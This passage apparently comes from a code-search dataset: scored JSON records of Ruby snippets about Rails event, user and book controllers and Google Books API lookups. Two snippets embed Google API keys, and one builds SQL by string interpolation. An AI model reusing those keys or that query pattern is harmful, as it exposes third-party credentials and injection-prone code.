"score": "0.5029098",
"text": "def event_users(event_id, value=true)\n\n end",
"title": ""
},
{
"docid": "8fe864c0a1cc9c288b0e63eaee00fb14",
"score": "0.5021721",
"text": "def notify_user_acl_modified(user_ids)\n user_ids.each do |user_id|\n #todo call album cache manager here to let it know\n # it should invalidate the trackers for this user on\n # contributor albums\n num_user_id = user_id.to_i\n if num_user_id != 0\n # only notify if it is a valid numeric user id\n Cache::Album::Manager.shared.user_albums_acl_modified([num_user_id])\n end\n end\n end",
"title": ""
},
{
"docid": "f25d8ff3ed638ee707cbb0f03d87d237",
"score": "0.50216526",
"text": "def get_user_activity\n since = params[:since] ? params[:since].to_i : (DateTime.now.to_i - 86400)\n current_user.events.reverse.collect { |event| event if event[:timestamp].to_i > since }.compact\n end",
"title": ""
},
{
"docid": "d2b41fe068c10afb25da19ed2a018955",
"score": "0.50166386",
"text": "def find_user_events\n calendar_id = \"primary\"\n response = get_calendar_service.list_events( calendar_id,\n time_min: Time.zone.now.to_datetime.new_offset('-0600').rfc3339,\n time_max: (Time.zone.now.to_datetime.new_offset('-0600') + 1.week).rfc3339,\n single_events: true,\n order_by: \"startTime\" )\n end",
"title": ""
},
{
"docid": "73c1b365ef8b3a267e37d71bdb3cf303",
"score": "0.5006059",
"text": "def unset_kyc_duplicate_status_of_previous_users\n dup_active_user_ids = []\n # only current active user_extended_details_id will be with active status\n dup_active_user_ids += UserKycDuplicationLog.using_client_shard(client: @client).where(\n user1_id: @duplicate_kyc_user_ids,\n status: GlobalConstant::UserKycDuplicationLog.active_status\n ).pluck(:user1_id)\n\n dup_active_user_ids += UserKycDuplicationLog.using_client_shard(client: @client).where(\n user2_id: @duplicate_kyc_user_ids,\n status: GlobalConstant::UserKycDuplicationLog.active_status\n ).pluck(:user2_id)\n\n dup_active_user_ids.uniq!\n\n filtered_non_active_duplicate_user_ids = @duplicate_kyc_user_ids - dup_active_user_ids\n\n return if filtered_non_active_duplicate_user_ids.blank?\n\n non_active_user_ids_extended_detail = UserKycDetail.using_client_shard(client: @client).where(\n user_id: filtered_non_active_duplicate_user_ids,\n status: GlobalConstant::UserKycDetail.active_status\n ).pluck(:user_extended_detail_id)\n\n\n dup_inactive_user_ids = []\n dup_inactive_user_ids += UserKycDuplicationLog.using_client_shard(client: @client).where(\n user1_id: filtered_non_active_duplicate_user_ids,\n user_extended_details1_id: non_active_user_ids_extended_detail,\n status: GlobalConstant::UserKycDuplicationLog.inactive_status\n ).pluck(:user1_id)\n\n dup_inactive_user_ids += UserKycDuplicationLog.using_client_shard(client: @client).where(\n user2_id: filtered_non_active_duplicate_user_ids,\n user_extended_details2_id: non_active_user_ids_extended_detail,\n status: GlobalConstant::UserKycDuplicationLog.inactive_status\n ).pluck(:user2_id)\n\n dup_inactive_user_ids.uniq!\n\n filtered_never_duplicate_user_ids = filtered_non_active_duplicate_user_ids - dup_inactive_user_ids\n\n UserKycDetail.using_client_shard(client: @client).where(\n user_id: filtered_never_duplicate_user_ids,\n user_extended_detail_id: non_active_user_ids_extended_detail\n ).where.not(kyc_duplicate_status: GlobalConstant::UserKycDetail.never_kyc_duplicate_status).update_all(\n kyc_duplicate_status: GlobalConstant::UserKycDetail.never_kyc_duplicate_status,\n updated_at: current_time\n )\n\n UserKycDetail.using_client_shard(client: @client).bulk_flush(filtered_never_duplicate_user_ids)\n\n return if dup_inactive_user_ids.blank?\n\n UserKycDetail.using_client_shard(client: @client).where(\n user_id: dup_inactive_user_ids,\n user_extended_detail_id: non_active_user_ids_extended_detail,\n kyc_duplicate_status: GlobalConstant::UserKycDetail.is_kyc_duplicate_status\n ).update_all(\n kyc_duplicate_status: GlobalConstant::UserKycDetail.was_kyc_duplicate_status,\n updated_at: current_time\n )\n\n UserKycDetail.using_client_shard(client: @client).bulk_flush(dup_inactive_user_ids)\n end",
"title": ""
},
{
"docid": "5cd122cff3c2636ba10dbd5ed57a2a5c",
"score": "0.5002129",
"text": "def edit\n @event = Event.create_from_user_event(@user_event)\n # @event.save!\n\n if EventUser.where(email: @user_event.user_email).empty?\n event_user = EventUser.event_user_from_user_event(@user_event, @event)\n event_user.save!\n else\n event_user = EventUser.where(email: @user_event.user_email).first\n event_user.events << @event\n event_user.save!\n end\n\n @user_event.archived = true\n @event.save!\n end",
"title": ""
},
{
"docid": "69c01832c232ffd53775e1850fd1e3f9",
"score": "0.49980056",
"text": "def tick_naughty_users(date)\n # find everyone's time tracking entries\n period = { :start_date => date.to_s, :end_date => date.to_s }\n entries = tick_api('entries', period)['entries'].entries.group_by{ |d| d['user_id'] }\n\n # find users who haven't completed all their time\n users = []\n tick_users.each do |u|\n hours = entries[u['id']] || [{'hours' => 0}]\n total_hours = hours.collect{ |h| h['hours'] }.inject(:+)\n if total_hours < 7.45\n username = u['email'].split('@').first\n users.push \"@\" + username\n end\n end\n users\nend",
"title": ""
},
{
"docid": "9f9a404bdaafeda2639cfc9f9f78d62a",
"score": "0.49978104",
"text": "def update\r\n project_ids = params[:user].blank? || params[:user][:project_ids].blank? ? [] : params[:user][:project_ids]\r\n @user = User.find(params[:id])\r\n unless project_ids.blank?\r\n @user.projects.clear\r\n @user.events.clear\r\n project_ids.each do |project_id|\r\n @user.projects << Project.find_by_id(project_id)\r\n Event.all.each {|event| @user.events << event unless event.page.blank? || event.page.project.id.to_s != project_id.to_s }\r\n end\r\n user_events = Event.find_all_by_user_id(@user.id)\r\n user_events.each {|event| @user.events << event unless event.blank? || @user.events.include?(event)} unless user_events.blank? #if we want to keep an event that a user created, even though that user may no longer be part of that project\r\n end\r\n\r\n respond_to do |format|\r\n if @user.update_attributes(params[:user])\r\n flash[:notice] = 'Your account information was successfully updated.' \r\n format.html { redirect_to(@user) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "7f0016b24412a469d80b4e150b1c6eb3",
"score": "0.4994556",
"text": "def set_userevent\n @userevent = UserEvent.find(params[:id])\n end",
"title": ""
},
{
"docid": "6282f5f82210b1978b2c5fc3f64c1f78",
"score": "0.49890155",
"text": "def userEvent(event)\n end",
"title": ""
},
{
"docid": "abb02b2e132636ee6bc2267888571301",
"score": "0.4982579",
"text": "def filter_known_uids all_uids\n new_uids = all_uids - @user.known_uids\n end",
"title": ""
},
{
"docid": "2d6eb3c26ccce31ab13d2cb4fa814fb2",
"score": "0.49760714",
"text": "def invalidate_my_albums(invalidator, user_id)\n invalidator.add_tracked_user(user_id, AlbumTypes::MY_ALBUMS)\n end",
"title": ""
},
{
"docid": "0b7c35c7342d932553ca06535e46b8d2",
"score": "0.49725068",
"text": "def prune_old_unpaid_purchase_records(user)\n user.sales.each do |sale|\n age_of_sale = ( (Time.now - sale.created_at) / 24 / 60 / 60 )\n sale.delete if (!sale.receipt_confirmed and !@sale.technically_paid?) and age_of_sale > 7.0\n end\n end",
"title": ""
},
{
"docid": "bbcb5c856dc51e629584cbaf6fd76a56",
"score": "0.49699926",
"text": "def unbooked_events\n if Event.where(user_id: user, spot_id: spot, booked: false).length >= 1\n errors.add(:booked, \"Either Cancel or Pay previous reservation.\")\n end\n end",
"title": ""
},
{
"docid": "06474b37c852c2969660e63eeaf65719",
"score": "0.49651983",
"text": "def custom_events_user(\n amazon_channel: nil, android_channel: nil, channel: nil,\n ios_channel: nil, named_user_id: nil, web_channel: nil\n )\n res = compact_helper({\n amazon_channel: amazon_channel,\n android_channel: android_channel,\n channel: channel,\n ios_channel: ios_channel,\n named_user_id: named_user_id,\n web_channel: web_channel,\n })\n\n fail ArgumentError, 'at least one user identifier must be defined' if res.empty?\n\n res\n end",
"title": ""
},
{
"docid": "bc24d8514b56b65231c8341721820b31",
"score": "0.49578822",
"text": "def clean_user_data (user)\n\n\t\t# if done correctly, find the last ppp index date\n\t\t# if date is less than today, fill out all the ppp index until today\n\t\t# set poop count for each missing date to 0\n\t\t@curPppIndex = @user.PppIndices(:order => \"created_at\").reverse\n\n\t\tdebugger\n\n\t\t# if (!@curPppIndex.empty? && @curPppIndex.last.created_at.to_date != Date.today)\n\t\t# \t@newPoopCount = @curPppIndex.last.poop_count + 1\n\t\t# \t@newPppIndex = @newPoopCount / @numDays\n\n\t\t# \t@curPppIndex = @user.PppIndices.create( :poop_count => @newPoopCount, :ppp_index => @newPppIndex)\n\t\t# \t@curPppIndex.save\n\t\t# end\n\tend",
"title": ""
},
{
"docid": "4f4cd7a473047419be89868ccab95beb",
"score": "0.49551547",
"text": "def generate_event(user)\n\tnew_event = user.events.new(\n\t\ttitle: FFaker::Venue.name,\n\t\tdescription: FFaker::CheesyLingo.sentence,\n\t\tstart_date: Date.new(2016,(1..11).to_a.sample,(1..28).to_a.sample),\n\t\tcategory: (0..2).to_a.sample,\n\t\ttarget_space: rand(1..5) * 100\n\t\t)\n\tnew_event.end_date = new_event.start_date + (0..2).to_a.sample\n\tnew_event.save\n\tnew_event.create_event_detail(\n\t\tvenue_title: FFaker::Address.city,\n\t\tstreet_address: FFaker::Address.street_address,\n\t\tpostal_code: rand(1000..9999),\n\t\tcity: FFaker::Address.city,\n\t\tstate: FFaker::AddressBR.state,\n\t\tcontact_num: rand(1111111..9999999).to_s,\n\t\tday_time: \", 9am - 12pm\",\n\t\tlongitude: 101.68685 + rand(-0.300000000...0.300000000),\n\t\tlatitude: 3.139003 + rand(-0.300000000...0.300000000)\n\t\t)\nend",
"title": ""
},
{
"docid": "6611ac7d0898069be58d359be9b053a0",
"score": "0.49549848",
"text": "def create\n @event = Event.new(@params['event'])\n @event.userid = '1'\n @event.save\n redirect :action => :index\n end",
"title": ""
},
{
"docid": "c61d21c63e75ad01ad5ba3202bac280f",
"score": "0.4946708",
"text": "def set_event\n @unclean_event = UncleanEvent.find(params[:id])\n end",
"title": ""
},
{
"docid": "89a3e59a60e29c5b208949f09d1b14d7",
"score": "0.49446625",
"text": "def users_attendance(username, event_id)\n result = get(\"/users/#{username}/trackings/event:#{event_id}.json\")\n Songkickr::TrackingResult.new result\n end",
"title": ""
},
{
"docid": "870479411dc263d2bfee1037a9b89a4d",
"score": "0.49317032",
"text": "def update\n @event = Event.find(params[:id])\n \n /if params[:adduser] and params[:admin]\n\n puts(\"show0000000000000000000000000000000\")\n puts(@current_user)\n puts(@event)\n $prequery = \"event_id = %d\" % @event.id\n $tempqurey = \" AND user_id = %d\" % @current_user.id\n $prequery.concat($tempqurey)\n \n @currenteventusers = Usersevent.where($prequery)\n \n \n \n if @currenteventusers.include?(@current_user)#@event.user.include?(@current_user)\n $query = \"event_id = %s\" % params[:id]\n $temp = \" AND user_id = %s\" % @current_user.id\n $query.concat($temp)\n \n puts(\"belemegyw0000000000000000000000000000000\")\n \n @currentuserevent = Userevents.where($query)\n \n if @currentuserevent.admin==1\n \n @usersevents = Usersevent.new()\n @usersevents.user_id = params[:adduser]\n @usersevents.event_id = @event.id\n @usersevents.admin = params[:admin]\n @usersevents.save\n end\n else\n puts(\"nem megy belew0000000000000000000000000000000\")\n end\n \n end/\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "461f5a49abc2cfcafaf2b54c6801e23d",
"score": "0.49300373",
"text": "def update\n @event = Event.find(params[:id])\n\n if @event.organizer_id === current_user.id\n if @event.update(event_params)\n render 'api/events/show'\n else\n render json: @event.errors.full_messages, status: 422 # unprocesssable entity\n end\n render json: [\"This event does not belong to you\"]\n end\n end",
"title": ""
},
{
"docid": "a9417c63c096c8ba9ddd36c10f1cbf89",
"score": "0.4927558",
"text": "def update\n @user = User.find(params[:user_id])\n @event = @user.events.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to([@event.user, @event], :notice => 'Event was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b063ce093d36c1b71259947678257518",
"score": "0.4915742",
"text": "def destroy\n\n @event = Event.find_by!(external_event_id: params[:id])\n\n user_events = UsersEvent.where('user_id = ? AND event_id = ?', params[:user_id], @event.id)\n # destory needs an ID to delete \n UsersEvent.destroy(user_events.first.id)\n # UsersEvent.where(user_id: params[:user_id], event_id: params[:event_id]).destroy_all\n \n # user_events = UsersEvent.where(\n # user_id: params[:user_id]\n # )\n # render json: user_events\n\n end",
"title": ""
},
{
"docid": "ea234eda6aa0bfa3052c58eb14e23256",
"score": "0.49135068",
"text": "def eliminate_swiped_users(event)\n\t\tsequel = %Q(\n \t\tSELECT * FROM users WHERE users.id NOT IN\n \t\t(SELECT user_events.shown_user_id FROM user_events \n \t\tWHERE user_events.user_id = #{self.id} AND liked != 'nil' AND user_events.event_id = #{event.id})\n \t\tAND users.id IN (SELECT users.id FROM users WHERE users.gender = '#{self.interested_in}') AND users.id != #{self.id} AND users.id IN (SELECT user_events.user_id FROM user_events \n \t\tWHERE user_events.event_id = #{event.id})\n \t\t)\n\t\tUser.find_by_sql(sequel)\n\tend",
"title": ""
},
{
"docid": "16e35b31486e4a2a1ac381f9cb274a96",
"score": "0.491272",
"text": "def leave\n @event = Event.find(params[:id])\n @event.users.delete current_user\n current_user.events.delete @event\n current_user.update\n \n respond_to do |format|\n if @event.update\n format.html { redirect_to(@event) }\n format.json { head :ok }\n else\n format.html { render :action => \"show\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
d1164bbd9f2799b7a559e44cd5661a99 | GET /order_books/1 GET /order_books/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "1db326bd77986e5e5e25a286752c1188",
"score": "0.7884536",
"text": "def order_book(params = {})\n request(:get, '/order_book', params)\n end",
"title": ""
},
{
"docid": "61bc3948ed991bb9dddd1d8035760c2d",
"score": "0.7788461",
"text": "def getbooksjson\n\n @customer = Customer.find(params[:id]) \n @order = @customer.order\n @orderitems = Orderitem.find_all_by_order_id(@order)\n @book = Book.find_all_by_id(@orderitems)\n\n render :json => @book \n\t\n end",
"title": ""
},
{
"docid": "98d1e0d1caba8f30ab7dbfa13fb23639",
"score": "0.71735406",
"text": "def get_book(book_id)\n self.http_get('/api/books/' + book_id)['book']\n end",
"title": ""
},
{
"docid": "bdff1854c9d4bc79563d8b201dd8fd6e",
"score": "0.7097609",
"text": "def index\n @order_books = OrderBook.all\n end",
"title": ""
},
{
"docid": "0dcef7df140be07467764e06d44a75c9",
"score": "0.6929102",
"text": "def index\n @books = get_books()\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "60973656e5d53c2355cc3aaa79804fee",
"score": "0.69203854",
"text": "def index\n render json: @books, status: 200\n end",
"title": ""
},
{
"docid": "4931a53e839e152f6f302685a9f8bb64",
"score": "0.6915198",
"text": "def book\n render :json => Book.find(params[:id]).to_json\n end",
"title": ""
},
{
"docid": "c4746dc91005a0d372416b076d43946f",
"score": "0.6845901",
"text": "def index\n @books = Book.all\n render json: @books\n end",
"title": ""
},
{
"docid": "4d76321d7f98df82813ba2a970ad84dd",
"score": "0.6833447",
"text": "def index\n @books = Book.all\n\n render json: @books\n end",
"title": ""
},
{
"docid": "ec8a6a39a665c3c0058cb986dea89ba0",
"score": "0.68308604",
"text": "def index\n render json: user_shelf.books\n end",
"title": ""
},
{
"docid": "459f0e16747f137b042efb3944079c11",
"score": "0.67399734",
"text": "def index\n @books = Book.order(title: :desc)\n render json: @books\n end",
"title": ""
},
{
"docid": "de7a7b9e6bebae6b879be516d0d57c5d",
"score": "0.6713501",
"text": "def index\n @ordered_books = OrderedBook.all\n end",
"title": ""
},
{
"docid": "8de874563ae84684a70f98ce82406027",
"score": "0.667452",
"text": "def fetch_books\n\t\t@response ||= HTTParty.get('https://www.googleapis.com/books/v1/volumes?filter=free-ebooks&q=a')\n\t\n\t\t@books ||= if @response.success?\n\t\t\tJSON.parse(@response.body)['items']\n\t\telse\n\t\t\t[] \n\t\tend\n\tend",
"title": ""
},
{
"docid": "4ed50a9dcfbae49fd9b418521674dff1",
"score": "0.6662525",
"text": "def show \n @book = Book.find_by(id: params[:id])\n render json: @book\n\n end",
"title": ""
},
{
"docid": "43ace69b1ac0ba0b7022de4e1678bbaf",
"score": "0.6635449",
"text": "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "43ace69b1ac0ba0b7022de4e1678bbaf",
"score": "0.6635449",
"text": "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "43ace69b1ac0ba0b7022de4e1678bbaf",
"score": "0.6635449",
"text": "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "90ccdc61d32133322a0921ff24b7e66b",
"score": "0.6627585",
"text": "def order_book\n public_request 'order_book/GHS/BTC'\n end",
"title": ""
},
{
"docid": "cb4ed5eefdf1702a83001f8b236dabea",
"score": "0.6592126",
"text": "def show\n @books = Books.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @books }\n end\n end",
"title": ""
},
{
"docid": "62b427d956ec79a4cdb85ed6ef053675",
"score": "0.6585834",
"text": "def show\n @book = Book.find(params[:id])\n @purchases = @book.purchases\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "b2398fd44a023e7386c3089d5b7203bc",
"score": "0.6583704",
"text": "def index\n @baptism_books = BaptismBook.all\n @baptism_books = BaptismBook.order(params[:sort])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @baptism_books }\n end\n end",
"title": ""
},
{
"docid": "85c36bca1e947cec7f3cb597d9f63496",
"score": "0.6580582",
"text": "def get_books\n books = self.http_get('/api/books')['books']\n books_list = Array.new\n books.each do |book|\n books_list << Book.new(self, book)\n end\n end",
"title": ""
},
{
"docid": "9efcb81c275a4694251e006109fd65c8",
"score": "0.65772945",
"text": "def index\n render json: Book.all\n end",
"title": ""
},
{
"docid": "5e2c42bea4167d9b50652ab6a4903b76",
"score": "0.6567981",
"text": "def fetch_books(search_term)\n\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{search_term}\")\n JSON.parse(response)\nend",
"title": ""
},
{
"docid": "6fbeb5d969a27a3a4f8b940b4a708a66",
"score": "0.65609676",
"text": "def index\n @user = User.find(session[:userId])\n @books = @user.books\n puts \"Libros de #{@user.username} #{@user.id} #{@user.books}\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "f016570ed38cc242c61b30bc2cf43f87",
"score": "0.6546058",
"text": "def index\n if params[:item_id]\n render json: Book.where(item_id: params[:item_id])\n elsif params[:user_id]\n render json: Book.where(user_id: params[:user_id])\n else\n render status: :not_found\n end\n end",
"title": ""
},
{
"docid": "9264c6d4d9233458b06fef3a820b9b80",
"score": "0.65453404",
"text": "def show\n @books = HTTParty.get \"https://www.googleapis.com/books/v1/volumes?q=#{CityPage.find(params[:id]).city}+expats&key=AIzaSyBi-ieqecE99YvszjWHBtq_eZORbhN-8HQ\"\n @books = JSON.parse @books.body\n p @books[\"items\"][0][\"accessInfo\"][\"webReaderLink\"]\n @books_all = [@books[\"items\"][0],\n @books[\"items\"][1],\n @books[\"items\"][2]\n ]\n\n end",
"title": ""
},
{
"docid": "b700aa8755296049766480b9c640fd4a",
"score": "0.6544547",
"text": "def index\n @books = Book.limit(100).order(:id)\n render json: {status: 'SUCCESS', message: 'Loaded all books', data: @books}, status: :ok\n end",
"title": ""
},
{
"docid": "106ca7e327779f57223363d4da839956",
"score": "0.6544519",
"text": "def get_books(response)\n response[\"items\"]\nend",
"title": ""
},
{
"docid": "37a49fb6535493306a078a4a6f8e15d4",
"score": "0.65172076",
"text": "def index\n # raise Book.search(params[:q])\n respond_to do |format|\n format.html{@books = Book.ordering.page(params[:page])}\n format.json{\n @books = Book.search(params[:q])\n }\n end\n end",
"title": ""
},
{
"docid": "81d60dd2c2fbb9ce3a2077389621438a",
"score": "0.6514661",
"text": "def index\n @books= Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "307b57007a4d5917dfea437c342fcef0",
"score": "0.6500456",
"text": "def show\n render json: Book.find(params[:id]), status: :ok\n end",
"title": ""
},
{
"docid": "7e4343abaf36e23c9f20df39c8cef898",
"score": "0.64982945",
"text": "def index\n @biblebooks = Biblebook.all\n\n respond_to do |format|\n format.html\n format.json{ render json: @biblebooks, root: false}\n end\n end",
"title": ""
},
{
"docid": "34c6d0b6f32772ea8ae3e1ed3ffda201",
"score": "0.6496644",
"text": "def get_data_from_books_api\n input = get_user_input\n url_to_fetch = URL + input\n RestClient.get(url_to_fetch).body\nend",
"title": ""
},
{
"docid": "49abef20db0f0aecff520cfd28ebeac0",
"score": "0.6495327",
"text": "def index\n # @books = Book.all\n @books = Book.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @books, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "8fe2d6ec8a1d47ca8c318cf923eb35b7",
"score": "0.6493458",
"text": "def orders\n client.get \"orders\"\n end",
"title": ""
},
{
"docid": "ec6c85fbeaaddd9d287a2a2ee22050a3",
"score": "0.6485148",
"text": "def order_book_get_with_http_info(symbol, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrderBookApi.order_book_get ...\"\n end\n # verify the required parameter 'symbol' is set\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling OrderBookApi.order_book_get\" if symbol.nil?\n if opts[:'depth'] < 0.0\n fail ArgumentError, 'invalid value for \"opts[:\"depth\"]\" when calling OrderBookApi.order_book_get, must be greater than or equal to 0.0.'\n end\n\n # resource path\n local_var_path = \"/orderBook\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'symbol'] = symbol\n query_params[:'depth'] = opts[:'depth'] if !opts[:'depth'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<OrderBook>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderBookApi#order_book_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "cf2244fc39abad20d3735536d24f7f89",
"score": "0.64517635",
"text": "def show\n @books_on_loan = BooksOnLoan.find(params[:id])\n respond_to do |format|\n format.json { render json: @books_on_loan }\n end\n end",
"title": ""
},
{
"docid": "6be7351024804ee32ce4e48ec6273282",
"score": "0.64470506",
"text": "def book(id)\n Hashie::Mash.new(request(\"/book/show\", id: id)[\"book\"])\n end",
"title": ""
},
{
"docid": "2caf474f4b0090f4a1e0ebec59d67cb5",
"score": "0.64469457",
"text": "def show\n get_book(params[:id])\n puts @book.to_json\n if @book\n @chapters = @book.chapters.sort!{|a, b| a.number <=> b.number}\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n else\n redirect_to \"/\"\n end\n end",
"title": ""
},
{
"docid": "d4d00a84e68cd58c3b624d24af478925",
"score": "0.6435162",
"text": "def index\n @api_books = Api::Book.all.page(params[:page]).per(100)\n end",
"title": ""
},
{
"docid": "8e9c025db33952d8be6211006934118f",
"score": "0.6434099",
"text": "def bookFind(search)\n \n url = \"https://www.googleapis.com/books/v1/volumes?q=#{search}&key=AIzaSyC9XbOjIglj8HSgR3jVwvK6q49Z9RnFfrU\"\n \n response = HTTParty.get(url)\n book_data = JSON.parse(response.body)\n \n # pp book_data[\"items\"][2] #pp is pretty print; to have ruby print out objects/structs in nice format\n \n # one_book = book_data[\"items\"][2][\"volumeInfo\"][\"title\"]\n # return one_book\n \n return book_data\n \nend",
"title": ""
},
{
"docid": "583eac15856a6e6eab5d7e8e4490e88d",
"score": "0.6429898",
"text": "def index\n @marriege_books = MarriegeBook.all\n @marriege_books = MarriegeBook.order(params[:sort])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @marriege_books }\n end\n end",
"title": ""
},
{
"docid": "7739a3019781e3c211f95fbb44941d4c",
"score": "0.64215314",
"text": "def show\n @author = Author.find(params[:id])\n @books = @author.books\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @author }\n end\n end",
"title": ""
},
{
"docid": "c131a846df1a3e2ba5dd2eb7fcfda075",
"score": "0.64215064",
"text": "def book(id)\n Hashie::Mash.new(request('/book/show', :id => id)['book'])\n end",
"title": ""
},
{
"docid": "c131a846df1a3e2ba5dd2eb7fcfda075",
"score": "0.64215064",
"text": "def book(id)\n Hashie::Mash.new(request('/book/show', :id => id)['book'])\n end",
"title": ""
},
{
"docid": "5719fcb45b43f9595990c1241f44d360",
"score": "0.64139277",
"text": "def getbook\n \n end",
"title": ""
},
{
"docid": "1568187e2ce23daaff3e3fa8b499f291",
"score": "0.64069504",
"text": "def show\n render json: @book\n end",
"title": ""
},
{
"docid": "4e178b40c1dcc1ef5fec101d9f7d0eda",
"score": "0.63949484",
"text": "def mybooks\n @mybooks = current_user.books\n @api = ENV['GOODREADS_KEY']\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mybooks }\n end\n end",
"title": ""
},
{
"docid": "19de4c93a8161e517d64d647ca4cc09b",
"score": "0.6388199",
"text": "def search_specifc_book(id_book,book_title,book_id,book_publishDate)\n @response = self.class.get(\"/Books/#{id_book}\",\n :headers => {\"Content-Type\": 'application/json; charset=utf-8; v=1.0', \"path\": \"#{$id_book}\"}) \n $book_title = @response[\"title\"]\n $book_id = @response[\"id\"]\n end",
"title": ""
},
{
"docid": "6018134efa38f972e7594176f86bab81",
"score": "0.6385475",
"text": "def book(id)\n books.find_by_id(id)\n end",
"title": ""
},
{
"docid": "41f6b6c03821ea3e021464c68aa3a3d0",
"score": "0.6384709",
"text": "def show\n render json: @book\n end",
"title": ""
},
{
"docid": "4ad8b65b9368531dbfe3e35247cbc15c",
"score": "0.6367686",
"text": "def show\n \n @bank_book = BankBook.first(:id => params[:id].to_i)\n # @bank_book = BankBook.get(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank_book }\n end\n end",
"title": ""
},
{
"docid": "53cf38bcbda0e43094db78cc27a3107b",
"score": "0.6366354",
"text": "def show\n @bank_book = BankBook.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank_book }\n end\n end",
"title": ""
},
{
"docid": "5f293436220df5b22459969d416c45ef",
"score": "0.6363918",
"text": "def book_info\n isbn_info = OpenLibraryService.new.book_info(params['isbn'])\n return record_not_found unless isbn_info\n render(json: isbn_info)\n end",
"title": ""
},
{
"docid": "712e8bb3b34421835d881db56bcd551c",
"score": "0.635964",
"text": "def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "712e8bb3b34421835d881db56bcd551c",
"score": "0.635964",
"text": "def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
